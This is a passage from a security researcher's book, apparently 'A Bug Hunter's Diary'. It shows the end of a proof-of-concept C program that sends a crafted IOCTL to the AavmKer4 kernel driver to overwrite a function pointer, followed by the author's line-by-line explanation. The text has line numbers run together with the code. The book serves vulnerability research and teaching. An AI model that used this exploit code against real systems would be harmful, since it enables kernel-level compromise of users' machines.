Bug Hunter Diary

99 // .text:00010DEF cmp dword ptr [eax], 0D0DEAD07h ; EAX == pointer to "data"100 memset32 (data, pattern1, 1);101102 // .text:00010DF7 cmp dword ptr [eax+4], 10BAD0BAh ; EAX == pointer to "data"103 memset32 (data + 4, pattern2, 1);104105 // .text:00010E18 mov edi, [eax+18h] ; EAX == pointer to "data"106 memset32 (data + 0x18, addr_to_overwrite, 1);107108 /////////////////////////////////////////////////////////////////////////////109 // open device110 hDevice = CreateFile (TEXT("\\\\.\\AavmKer4"),111 GENERIC_READ | GENERIC_WRITE,112 FILE_SHARE_READ | FILE_SHARE_WRITE,113 NULL,114 OPEN_EXISTING,115 0,116 NULL);117118 if (hDevice != INVALID_HANDLE_VALUE) {119 DWORD retlen = 0;120121 // send evil IOCTL request122 retval = DeviceIoControl (hDevice,123 IOCTL,124 (LPVOID)InputBuffer,125 INPUTBUFFER_SIZE,126 (LPVOID)NULL,127 0,128 &retlen,129 NULL);130131 if (!retval) {132 fprintf (stderr, "[-] Error: DeviceIoControl failed\n");133 }134135 } else {136 fprintf (stderr, "[-] Error: Unable to open device.\n");137 }138139 return (0);140 }Listing 6-2: The POC code that I wrote to manipulate the function pointer at .data:00012460 (poc.c)In line 67 of Listing 6-2, the base address of the driver in memoryis stored in driveraddr. Then, in line 72, the address of the functionpointer is calculated; this is overwritten by the manipulated memcpy()call. A buffer of INPUTBUFFER_SIZE (0x878) bytes is allocated in line 75.This buffer holds the IOCTL input data, which is filled with the hexadecimalvalue 0x41 (see line 86). Then a pointer to another data arrayis copied into the input data buffer (see line 89). In the disassembly ofthe driver, this pointer is referenced at address .text:00010DE6: mov eax,[esi+870h].106 Chapter 6